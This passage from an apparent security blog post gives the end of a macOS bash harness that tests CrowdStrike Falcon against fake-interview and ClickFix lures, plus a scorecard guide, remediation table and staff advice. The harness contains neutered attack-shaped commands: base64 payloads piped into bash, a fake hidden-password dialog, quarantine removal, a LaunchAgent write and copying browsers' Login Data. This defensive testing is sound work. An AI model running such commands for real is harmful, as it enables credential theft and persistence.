DL_DIR="$HOME/Downloads/EDRTEST"
AGENT="$HOME/Library/LaunchAgents/com.edrtest.m08.plist"
CSV="$HOME/EDRTEST-results-${RUN_ID}.csv"
RECS="$WORK/recommendations.txt"
CRIT_LOG="$WORK/critical-missed.txt"
# Points are kept in tenths so a detection on a block rule can earn half.
EARNED=0; BEST=0; POSSIBLE=0; MISSES=0; CONTROL_FAILED=0

mkdir -p "$WORK" "$HOME_WORK" "$DL_DIR"
: > "$RECS"; : > "$CRIT_LOG"
echo "time,id,test,expected,observed,outcome,points,ceiling,weight,critical,detail" > "$CSV"

cleanup() {
  rm -rf "$WORK" "$HOME_WORK" "$DL_DIR"
  rm -f "$AGENT"
}
trap cleanup EXIT

CONTROL_FIX='Ordinary activity is being stopped. Find which rule or setting fired in Falcon and narrow it before trusting any other result.'

# Test catalogue: what each test proves, what should happen, weight, criticality and the fix.
meta() {
  CRIT=0
  case "$1" in
    C01) NAME='Control: ordinary shell command'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    C02) NAME='Control: curl downloads a file'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    C03) NAME='Control: ordinary AppleScript'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    C04) NAME='Control: xattr lists attributes'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    C05) NAME='Control: node from its installed location'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    C06) NAME='Control: chmod +x in the home folder'; EXPECTED=Allow; WEIGHT=0; FIX="$CONTROL_FIX" ;;
    M01) NAME='Shell executes a curl download'; EXPECTED=Block; WEIGHT=18; CRIT=1
         FIX='Add the "Shell executes a curl or wget download" IOA in Kill mode for general staff (section 4) and turn on script based execution monitoring in the macOS prevention policy (section 2).' ;;
    M02) NAME='Bare shell reading from a pipe'; EXPECTED=Detect; WEIGHT=8
         FIX='Add the "Bare shell reading from a pipe" IOA in Detect mode (section 4); this is the half of curl | bash that command line rules usually miss.' ;;
    M03) NAME='Gatekeeper quarantine removed'; EXPECTED=Block; WEIGHT=12
         FIX='Add the "Gatekeeper quarantine removed" IOA in Kill mode (section 4) and enforce Gatekeeper through MDM (section 11).' ;;
    M04) NAME='Fake password prompt'; EXPECTED=Block; WEIGHT=14; CRIT=1
         FIX='Add the "Fake password prompt" IOA in Kill mode (section 4); this is how macOS infostealers harvest the keychain password.' ;;
    M05) NAME='AppleScript runs a shell download'; EXPECTED=Detect; WEIGHT=8
         FIX='Add the "AppleScript shell execution" IOA (section 4).' ;;
    M06) NAME='Interpreter running from Downloads'; EXPECTED=Detect; WEIGHT=6
         FIX='Add the "Interpreter running from user space" IOA for macOS (section 6) and consider an allowlisting agent such as Santa (section 11).' ;;
    M07) NAME='Make executable in a temp location'; EXPECTED=Detect; WEIGHT=6
         FIX='Add the "Make executable in a temp location" IOA (section 6).' ;;
    M08) NAME='LaunchAgent written by a shell'; EXPECTED=Block; WEIGHT=14; CRIT=1
         FIX='Add the "LaunchAgent written by a script or downloader" file creation IOA in Block mode (section 8).' ;;
    M09) NAME='Homebrew installer fetched by a shell'; EXPECTED=Block; WEIGHT=10
         FIX='The shell download rule (section 4) should stop the Homebrew installer for general staff; also block unapproved package installs through MDM (section 11).' ;;
    M10) NAME='curl to a raw IP on an unusual port'; EXPECTED=Detect; WEIGHT=4
         FIX='Add the "Interpreter connects on an unusual port" network IOA for macOS, combined with destination reputation, and load campaign infrastructure into IOC management (section 9).' ;;
    M11) NAME='Base64 payload piped into a shell'; EXPECTED=Block; WEIGHT=12
         FIX='Add the "Encoded payload piped into a shell" IOA in Kill mode (section 4).' ;;
    M12) NAME='Non browser process copies browser passwords'; EXPECTED=Detect; WEIGHT=10
         FIX='Falcon has no custom rule type for file reads, so this relies on built in protection: set the machine learning sliders to Aggressive and turn on Prevent Suspicious Processes and Script Based Execution Monitoring (`prevent_suspicious_processes`, `script_based_execution_monitoring`; section 2), and stop browsers storing passwords with the PasswordManagerEnabled browser policy (section 10).' ;;
    M13) NAME='Keychain secret requested from the shell'; EXPECTED=Detect; WEIGHT=8
         FIX='Add the "Keychain secret query" IOA (section 10) and turn on Hash Collector and KcPassword Decoded (`hash_collector`, `kc_password_decoded`; section 2).' ;;
    M14) NAME='Developer tool spawns a download command'; EXPECTED=Detect; WEIGHT=8
         FIX='Add the "Developer tool spawns a download command" IOA (section 6) and set task.allowAutomaticTasks to off in managed VS Code settings (section 6).' ;;
  esac
}

# record ID OBSERVED [DETAIL]. OBSERVED is COMPLETED, STOPPED or NOTRUN.
record() {
  local id="$1" observed="$2" detail="${3:-}" outcome points=0 ceiling=0 share colour
  meta "$id"
  if [ "$EXPECTED" = Allow ]; then
    case "$observed" in COMPLETED) outcome=PASS ;; NOTRUN) outcome='NOT RUN' ;; *) outcome=FAIL; CONTROL_FAILED=1 ;; esac
  elif [ "$observed" = NOTRUN ]; then
    outcome='NOT RUN'
  else
    case "$PREVENTED" in *" $id "*)
      if [ "$observed" = COMPLETED ]; then outcome=INCONCLUSIVE; detail="console says prevented but the test finished. $detail"
      else outcome=PREVENTED; fi ;;
    *)
      case "$DETECTED" in *" $id "*) outcome=DETECTED ;;
      *)
        if [ "$REVIEWED" = 1 ]; then
          if [ "$observed" = STOPPED ]; then outcome=INCONCLUSIVE; detail="stopped, but Falcon recorded nothing. $detail"
          else outcome=MISSED; fi
        else outcome=INCONCLUSIVE; fi ;;
      esac ;;
    esac
  fi

  # Weights in tenths. A detection earns all of a detect rule but half of a block rule.
  if [ "$EXPECTED" = Block ]; then share=5; else share=10; fi
  case "$outcome" in
    PREVENTED) points=$((WEIGHT * 10)); ceiling=$points ;;
    DETECTED)  points=$((WEIGHT * share)); ceiling=$points ;;
    INCONCLUSIVE)
      if [ "$observed" = COMPLETED ]; then ceiling=$((WEIGHT * share)); else ceiling=$((WEIGHT * 10)); fi ;;
  esac
  if [ "$WEIGHT" -gt 0 ] && [ "$outcome" != 'NOT RUN' ]; then
    POSSIBLE=$((POSSIBLE + WEIGHT * 10)); EARNED=$((EARNED + points)); BEST=$((BEST + ceiling))
  fi

  local missing=$((WEIGHT * 10 - points))
  case "$outcome" in
    PASS|PREVENTED) colour=32 ;;
    DETECTED)
      colour=36
      if [ "$EXPECTED" = Block ]; then
        echo "$missing|$id|$WEIGHT pts|DETECTED|Falcon saw this but did not stop it; move the rule from Detect to Kill once tuned. $FIX" >> "$RECS"
      fi ;;
    FAIL)
      colour=31
      echo "99999|$id|control|FAIL|$FIX" >> "$RECS" ;;
    MISSED)
      colour=31; MISSES=$((MISSES + 1))
      [ "$CRIT" = 1 ] && echo "$id" >> "$CRIT_LOG"
      echo "$missing|$id|$WEIGHT pts|MISSED|$FIX" >> "$RECS" ;;
    INCONCLUSIVE)
      colour=33
      echo "$missing|$id|$WEIGHT pts|INCONCLUSIVE|Search Falcon for EDRTEST-$id and rerun with PREVENTED, DETECTED or REVIEWED=1. If Falcon has nothing: $FIX" >> "$RECS" ;;
    *) colour=90 ;;
  esac
  printf '\033[%sm%-4s %-46s %-7s %-10s %s\033[0m\n' "$colour" "$id" "$NAME" "$EXPECTED" "$observed" "$outcome"
  printf '%s,%s,"%s",%s,%s,%s,%s,%s,%s,%s,"%s"\n' "$(date +%H:%M:%S)" "$id" "$NAME" "$EXPECTED" "$observed" \
    "$outcome" "$(tenths "$points")" "$(tenths "$ceiling")" "$WEIGHT" "$CRIT" "$detail" >> "$CSV"
}

tenths() { printf '%d.%d' $(($1 / 10)) $(($1 % 10)); }

# run_marker ID MARKER COMMAND...: the command writes the marker only if it was not stopped.
run_marker() {
  local id="$1" marker="$2"; shift 2
  rm -f "$marker"
  EDRTEST_MARKER="$marker" "$@" >/dev/null 2>&1
  sleep 2
  if [ -s "$marker" ]; then record "$id" COMPLETED; else record "$id" STOPPED; fi
}

# run_exit ID COMMAND...: exit 127 means not installed; 126 or 128 and above
# means the process was refused or killed (by Falcon or by something else).
run_exit() {
  local id="$1"; shift
  "$@" >/dev/null 2>&1
  local rc=$?
  if [ "$rc" -eq 127 ]; then record "$id" NOTRUN "command not found"
  elif [ "$rc" -ge 126 ]; then record "$id" STOPPED "exit $rc"
  else record "$id" COMPLETED "exit $rc"; fi
}

printf '\033[36mEDR interview lure test harness (macOS), run %s on %s\033[0m\n' "$RUN_ID" "$(hostname)"

# Sensor health: a broken or missing sensor makes every other result meaningless.
if systemextensionsctl list 2>/dev/null | grep -i 'com.crowdstrike.falcon.Agent' | grep -qi 'activated enabled'; then
  printf '\033[36mFalcon sensor is running. In Falcon, confirm %s is in the expected host group and prevention policy.\033[0m\n' "$(hostname)"
else
  printf '\033[31mThe Falcon system extension is not active. Fix the sensor before testing anything else.\033[0m\n'
  [ "${FORCE:-0}" = 1 ] || exit 2
fi
printf '%-4s %-46s %-7s %-10s %s\n' ID Test Expect Observed Outcome

# Controls: ordinary activity that must keep working
run_marker C01 "$WORK/C01.txt" /bin/bash -c 'echo EDRTEST-C01 > "$EDRTEST_MARKER"'
run_exit C02 curl -fsSL "$URL?EDRTEST-C02" -o "$HOME_WORK/c02.html"
run_exit C03 osascript -e 'return "EDRTEST-C03"'
Q="$WORK/edrtest-m03.bin"
echo EDRTEST-M03 > "$Q"
xattr -w com.apple.quarantine "0081;00000000;EDRTEST;" "$Q" 2>/dev/null
run_exit C04 xattr -l "$Q"
if command -v node >/dev/null 2>&1; then
  run_exit C05 node -e "process.exit(0) // EDRTEST-C05"
else
  record C05 NOTRUN "node not installed"
fi
echo '#!/bin/sh' > "$HOME_WORK/edrtest-c06.sh"
run_exit C06 chmod +x "$HOME_WORK/edrtest-c06.sh"

# M01 bash -c with a curl download (discarded)
run_marker M01 "$WORK/M01.txt" /bin/bash -c \
  "curl -fsSL $URL -o /dev/null; echo EDRTEST-M01 > \"\$EDRTEST_MARKER\""

# M02 A shell piped into a bare shell, the shape of curl | bash
run_marker M02 "$WORK/M02.txt" /bin/bash -c \
  'echo "echo EDRTEST-M02 > \"\$EDRTEST_MARKER\"" | /bin/bash'

# M03 Remove the quarantine flag the script set on its own text file
run_exit M03 xattr -d com.apple.quarantine "$Q"

# M04 Password style dialog that closes itself after three seconds
run_exit M04 osascript -e \
  'display dialog "EDRTEST-M04 harmless test dialog, closes itself" default answer "" with hidden answer giving up after 3'

# M05 AppleScript running a shell download (discarded)
run_exit M05 osascript -e "do shell script \"curl -fsSL $URL -o /dev/null # EDRTEST-M05\""

# M06 Copy of node running from Downloads (not run if Node is not installed)
if command -v node >/dev/null 2>&1; then
  cp "$(command -v node)" "$DL_DIR/node"
  run_marker M06 "$WORK/M06.txt" "$DL_DIR/node" -e \
    "require('fs').writeFileSync(process.env.EDRTEST_MARKER, 'EDRTEST-M06')"
else
  record M06 NOTRUN "node not installed"
fi

# M07 chmod +x on an empty script in /tmp
T="$WORK/edrtest-m07.sh"
echo '#!/bin/sh' > "$T"
run_exit M07 chmod +x "$T"

# M08 A shell writes a placeholder plist into LaunchAgents; it is never loaded
run_marker M08 "$AGENT" /bin/bash -c \
  'mkdir -p "$(dirname "$EDRTEST_MARKER")" && echo "<plist/>" > "$EDRTEST_MARKER"'
rm -f "$AGENT"

# M09 Fetch the Homebrew installer and discard it, without running it
run_marker M09 "$WORK/M09.txt" /bin/bash -c \
  "curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh -o /dev/null; echo EDRTEST-M09 > \"\$EDRTEST_MARKER\""

# M10 curl to a raw IP on an unusual port, three second timeout
run_exit M10 curl -s -m 3 "http://$RAW_IP:$ODD_PORT/?EDRTEST-M10" -o /dev/null

# M11 A base64 encoded command decoded and piped into a shell
P="$(printf '%s' 'echo EDRTEST-M11 > "$EDRTEST_MARKER"' | base64)"
run_marker M11 "$WORK/M11.txt" /bin/bash -c "echo $P | base64 --decode | /bin/bash"

# M12 cp copies the browser password database, then the copy is deleted at once
LOGIN_DATA=""
for f in "$HOME/Library/Application Support/Google/Chrome/Default/Login Data" \
         "$HOME/Library/Application Support/Microsoft Edge/Default/Login Data" \
         "$HOME/Library/Application Support/BraveSoftware/Brave-Browser/Default/Login Data"; do
  if [ -f "$f" ]; then LOGIN_DATA="$f"; break; fi
done
if [ -n "$LOGIN_DATA" ]; then
  run_marker M12 "$WORK/M12.txt" /bin/cp "$LOGIN_DATA" "$WORK/M12.txt"
  rm -f "$WORK/M12.txt"
else
  record M12 NOTRUN "no Chrome, Edge or Brave profile found"
fi

# M13 Ask the keychain for a secret that does not exist (exit 44 means not found)
run_exit M13 security find-generic-password -s "EDRTEST-M13-not-a-real-item" -w

# M14 Node spawns a shell with a download, the shape of a malicious coding test or IDE task
if command -v node >/dev/null 2>&1; then
  run_marker M14 "$WORK/M14.txt" "$(command -v node)" -e \
    "require('child_process').execSync('curl -fsSL $URL -o /dev/null; echo EDRTEST-M14 > \"\$EDRTEST_MARKER\"')"
else
  record M14 NOTRUN "node not installed"
fi

# Scorecard
grade() {
  if [ "$1" -ge 90 ]; then echo A; elif [ "$1" -ge 75 ]; then echo B
  elif [ "$1" -ge 60 ]; then echo C; elif [ "$1" -ge 40 ]; then echo D; else echo F; fi
}
SCORE=0; CEILING=0
if [ "$POSSIBLE" -gt 0 ]; then
  SCORE=$(( (100 * EARNED + POSSIBLE / 2) / POSSIBLE ))
  CEILING=$(( (100 * BEST + POSSIBLE / 2) / POSSIBLE ))
fi
GRADE="$(grade "$SCORE")"
CAPPED=0
if [ -s "$CRIT_LOG" ]; then
  case "$GRADE" in A|B|C) GRADE=D; CAPPED=1 ;; esac
fi

echo
printf '\033[36mEDR score: %s/100 (grade %s), %s of %s points proven by Falcon evidence\033[0m\n' \
  "$SCORE" "$GRADE" "$(tenths "$EARNED")" "$(tenths "$POSSIBLE")"
if [ "$CEILING" -gt "$SCORE" ]; then
  printf '\033[36mUp to %s/100 once every INCONCLUSIVE test is resolved in the console.\033[0m\n' "$CEILING"
fi
if [ -s "$CRIT_LOG" ]; then
  [ "$CAPPED" = 1 ] && printf '\033[31mGrade capped at D because critical test(s) were missed.\033[0m\n'
  printf '\033[31mCritical test(s) missed: %s\033[0m\n' "$(tr '\n' ' ' < "$CRIT_LOG")"
fi
if [ "$CONTROL_FAILED" -eq 1 ]; then
  printf '\033[31mWARNING: a control test was stopped. Ordinary activity is failing, so this score is not reliable.\033[0m\n'
fi

echo
if [ -s "$RECS" ]; then
  printf '\033[36mWhat to fix, highest impact first:\033[0m\n'
  n=0
  sort -t'|' -k1,1nr "$RECS" | while IFS='|' read -r _ id label outcome fix; do
    n=$((n + 1))
    printf '%2d. [%s, %s, %s] %s\n' "$n" "$id" "$label" "$outcome" "$fix"
  done
else
  printf '\033[32mNothing to fix: every scored test was prevented or detected as expected.\033[0m\n'
fi
echo "Results saved to $CSV"
[ "$CONTROL_FAILED" -eq 0 ] && [ "$MISSES" -eq 0 ]
EOF
chmod +x test-edr-interview-lures.sh

13.3 Reading the scorecard

Each run ends with two numbers. The first is the proven score, which only counts what Falcon has evidence for. The second is the ceiling, which is what you would score if every inconclusive test resolved in your favour; the gap between the two is the console checking you still have to do. Underneath, the scorecard tells you if a critical test capped the grade or a control test failed, and then lists what to fix in order of the points at stake. Missed tests get the rule or setting that closes the gap, rules that detected but should have blocked are flagged for promotion from Detect to Kill, and inconclusive tests tell you what to look for in the console. Every recommendation points back to the section of this post that covers it.

Both scripts also write a CSV to the home folder with the time, observation, outcome, points and ceiling for every test, which is useful as audit evidence and for tracking the score from one quarter to the next. On a well configured general staff laptop the reviewed score should land at a B or better; if it lands at a D or an F, start with the top three recommendations, rerun, and watch the number move.

13.4 Remediation reference

Every failed test prints its fix in the scorecard, but it helps to see them all in one place when planning the work. The table below lists every scored test across both platforms, what it simulates, what a well configured policy should do, how many points it carries, and exactly what to change if it fails. Setting names in backticks are the API and Terraform names from section 2.

TestWhat it simulatesExpectedWeightIf it fails, change this
W01Run dialog launches a downloaderBlock15 (critical)Add the “Run dialog launches a downloader” IOA in Kill mode (section 3) and disable the Run dialog for non IT staff by Group Policy (section 11).
W02Hidden, encoded PowerShellDetect8Turn on Suspicious Scripts and Commands and Script Based Execution Monitoring (section 2), then add the “Hidden or encoded PowerShell” IOA (section 3).
W03PowerShell download cradle with iexBlock12 (critical)Add the “PowerShell download cradle” IOA in Kill mode (section 3) and enable Interpreter Only in the prevention policy (section 2).
W04mshta runs inline scriptBlock8Add the “mshta runs remote or inline script” IOA in Kill mode (section 5); mshta has almost no legitimate use on staff laptops.
W05certutil used as a downloaderBlock6Add the “certutil as a downloader” IOA in Kill mode (section 5).
W06bitsadmin transferBlock5Add the “bitsadmin transfer” IOA in Kill mode (section 5).
W07msiexec installing from a URLBlock6Add the “msiexec installing from a URL” IOA in Kill mode (section 5) and remove local admin rights (section 11).
W08regsvr32 remote scriptletBlock5Add the “regsvr32 remote scriptlet” IOA in Kill mode (section 5).
W09Interpreter running from DownloadsBlock6Add the “Interpreter running from user space” IOA (section 6) and use WDAC or AppLocker to stop binaries running from user writable folders (section 11).
W10Script host running a downloaded scriptBlock8Add the “Script host running downloaded script” IOA in Kill mode (section 6), and disable Windows Script Host for staff who do not need it.
W11Remote access tool name outside ITBlock8 (critical)Add the “Remote access tool outside IT” IOA in Kill mode, scoped so only the approved tool is allowed for the IT support group (section 7).
W12Startup folder written by PowerShellBlock6Add the “Startup folder written by a script host” file creation IOA in Block mode (section 8).
W13Scheduled task created by a scriptDetect4Add the “Scheduled task created by a script” IOA (section 8).
W14PowerShell to raw IP on an unusual portDetect3Add the “Interpreter connects on an unusual port” network IOA, combined with destination reputation, and load campaign infrastructure into IOC management (section 9).
W15Headless conhost launches a downloaderBlock8Add the “Headless console launches a downloader” IOA in Kill mode (section 3).
W16curl.exe downloads into user spaceDetect5Add the “curl downloads into a user writable folder” IOA (section 5).
W17rundll32 loads a DLL from TempDetect5Add the “rundll32 from a user writable path” IOA and turn on JavaScript via Rundll32 (javascript_via_rundll32) in the prevention policy (sections 2 and 5).
W18Download cradle hidden inside a script fileDetect10No command line rule can see inside a script file. Turn on Script Based Execution Monitoring, Interpreter Only, Engine (Full Visibility) and Suspicious Scripts and Commands (script_based_execution_monitoring, interpreter_only, engine_full_visibility, suspicious_scripts_and_commands; section 2).
W19certutil decodes a base64 payloadBlock4The “certutil as a downloader” IOA (section 5) should include -decode; check the regex matches.
W20Non browser process copies browser passwordsDetect10Falcon has no custom rule type for file reads, so this relies on built in protection: set the machine learning sliders to Aggressive, turn on Prevent Suspicious Processes and Additional User Mode Data (prevent_suspicious_processes, additional_user_mode_data; section 2), and stop browsers storing passwords with the PasswordManagerEnabled browser policy (section 10).
W21Run key persistence via reg.exeDetect6Add the “Run key written from the command line” IOA (section 8) and turn on Suspicious Registry Operations (suspicious_registry_operations; section 2).
W22WMIC creates a processDetect3Add the “WMIC process creation” IOA (section 5), or remove WMIC entirely as Microsoft now does by default.
W23Developer tool spawns a download commandDetect8Add the “Developer tool spawns a download command” IOA (section 6) and set task.allowAutomaticTasks to off in managed VS Code settings (section 6).
M01Shell executes a curl downloadBlock18 (critical)Add the “Shell executes a curl or wget download” IOA in Kill mode for general staff (section 4) and turn on script based execution monitoring in the macOS prevention policy (section 2).
M02Bare shell reading from a pipeDetect8Add the “Bare shell reading from a pipe” IOA in Detect mode (section 4); this is the half of curl | bash that command line rules usually miss.
M03Gatekeeper quarantine removedBlock12Add the “Gatekeeper quarantine removed” IOA in Kill mode (section 4) and enforce Gatekeeper through MDM (section 11).
M04Fake password promptBlock14 (critical)Add the “Fake password prompt” IOA in Kill mode (section 4); this is how macOS infostealers harvest the keychain password.
M05AppleScript runs a shell downloadDetect8Add the “AppleScript shell execution” IOA (section 4).
M06Interpreter running from DownloadsDetect6Add the “Interpreter running from user space” IOA for macOS (section 6) and consider an allowlisting agent such as Santa (section 11).
M07Make executable in a temp locationDetect6Add the “Make executable in a temp location” IOA (section 6).
M08LaunchAgent written by a shellBlock14 (critical)Add the “LaunchAgent written by a script or downloader” file creation IOA in Block mode (section 8).
M09Homebrew installer fetched by a shellBlock10The shell download rule (section 4) should stop the Homebrew installer for general staff; also block unapproved package installs through MDM (section 11).
M10curl to a raw IP on an unusual portDetect4Add the “Interpreter connects on an unusual port” network IOA for macOS, combined with destination reputation, and load campaign infrastructure into IOC management (section 9).
M11Base64 payload piped into a shellBlock12Add the “Encoded payload piped into a shell” IOA in Kill mode (section 4).
M12Non browser process copies browser passwordsDetect10Falcon has no custom rule type for file reads, so this relies on built in protection: set the machine learning sliders to Aggressive and turn on Prevent Suspicious Processes and Script Based Execution Monitoring (prevent_suspicious_processes, script_based_execution_monitoring; section 2), and stop browsers storing passwords with the PasswordManagerEnabled browser policy (section 10).
M13Keychain secret requested from the shellDetect8Add the “Keychain secret query” IOA (section 10) and turn on Hash Collector and KcPassword Decoded (hash_collector, kc_password_decoded; section 2).
M14Developer tool spawns a download commandDetect8Add the “Developer tool spawns a download command” IOA (section 6) and set task.allowAutomaticTasks to off in managed VS Code settings (section 6).

14. Beyond the interview lure

This post is deliberately focused on one attack chain, but a harness like this becomes most valuable when it grows to cover the rest of the endpoint estate. Four areas deserve attention next.

The first is protecting the EDR itself. Make sure sensor tampering protection is switched on in every prevention policy, that uninstalling or downgrading the sensor needs a maintenance token, and that you alert on hosts that stop reporting or drop into reduced functionality mode, because an attacker who can turn the sensor off does not need to evade any of the rules above. On Windows, pair this with Microsoft’s vulnerable driver blocklist and hypervisor protected code integrity (HVCI), since bring your own vulnerable driver (BYOVD) attacks use legitimately signed but flawed drivers to kill security tools from the kernel.

The second is credential and session theft, particularly on developer laptops. This is the stage the custom IOAs in this post can barely see, and developers hold some of the most valuable credentials in the organisation: cloud keys, Git tokens, SSH keys and Kubernetes configuration. A practical test is to seed a test laptop with synthetic credentials that raise an alert when used, such as canary cloud keys, and confirm that your endpoint or cloud monitoring notices when an untrusted process reads or uses them. Developer laptops should not get weaker security because their normal behaviour looks unusual; they need a narrower and more contextual policy.

The third is testing the EDR when things are not healthy. Rerun the harness with the network disconnected, off the corporate network and straight after a reboot. Local prevention should not depend on the cloud being reachable, and the results will tell you which of your controls quietly do.

The fourth is measuring coverage by technique rather than by rule count. MITRE ATT&CK now has a dedicated entry for this attack, T1204.004 Malicious Copy and Paste, and lists Contagious Interview among the groups using it, so map every rule and test in your harness to an ATT&CK technique and the gaps become visible. Atomic Red Team is a good companion library of small, repeatable tests mapped the same way. Then make rerunning the harness part of change control: every change to a prevention policy, sensor version, custom IOA or exception should trigger it, because an EDR policy is only a proven control until the next untested change.

15. The message for your people

All of this is backstop. The simplest rule you can give staff is also the most effective one: no legitimate interview, meeting platform or IT support process will ever ask you to paste a command into a terminal or the Run dialog to fix your camera or microphone. If anyone asks, end the call, and tell the security team, because the person on the other end is almost certainly trying it on your colleagues too. The EDR rules in this post exist for the day someone forgets, and with clipboard swapping in play, that day is not a matter of if. And treat the rules themselves the same way: an EDR policy is not a security control until you have shown that it works, and it stops being a proven one the moment you change it without testing it again.

Sources and further reading

  1. Huntress, The Fix for ClickFix: How Huntress Detects and Responds to a ClickFix Attack (October 2026)
  2. Huntress, Meet Attack Reduction: Closing the Door on ClickFix
  3. Sophos, What happens when a fake coding test reaches a security company?
  4. Australian Signals Directorate and partners, North Korean “WaterPlum”, commonly referred to as “Contagious Interview”, cyber actor group targeting IT professionals (18 September 2026), also published by the National Police Agency of Japan and the FBI
  5. CrowdStrike, Copy, Paste, Compromised: How ClickFix Attacks Work and How CrowdStrike Stops Them
  6. CrowdStrike, Terraform provider documentation for Windows prevention policies, macOS prevention policies and sensor update policies
  7. Microsoft, Contagious Interview: Malware delivered through fake developer job interviews (March 2026)
  8. Microsoft, Think before you Click(Fix): Analyzing the ClickFix social engineering technique
  9. Microsoft, Microsoft Digital Defense Report 2025
  10. Elastic Security Labs, New North Korean campaign uses fake coding interviews to steal developer credentials
  11. GitLab, How to detect and prevent Contagious Interview IDE attacks (May 2026)
  12. Visual Studio Code, Workspace Trust
  13. SOCRadar, DPRK ClickFake Interview Campaign Drops PylangGhost and GolangGhost RATs (July 2026)
  14. The Hacker News, Lazarus Group Targets Job Seekers With ClickFix Tactic to Deploy GolangGhost Malware (citing Sekoia)
  15. MalwareTips, Fake Teleglass Job Interview Installs Malware as a Mic Fix (September 2026)
  16. Gen Digital, Deceptive NVIDIA driver attack
  17. Mike Cyber Sec, Detecting ClickFixing with detections.ai (note on Falcon registry value data)
  18. MITRE ATT&CK, T1204.004 User Execution: Malicious Copy and Paste
  19. Red Canary, Atomic Red Team

Leave a comment

Your email address will not be published. Your first comment is held for approval.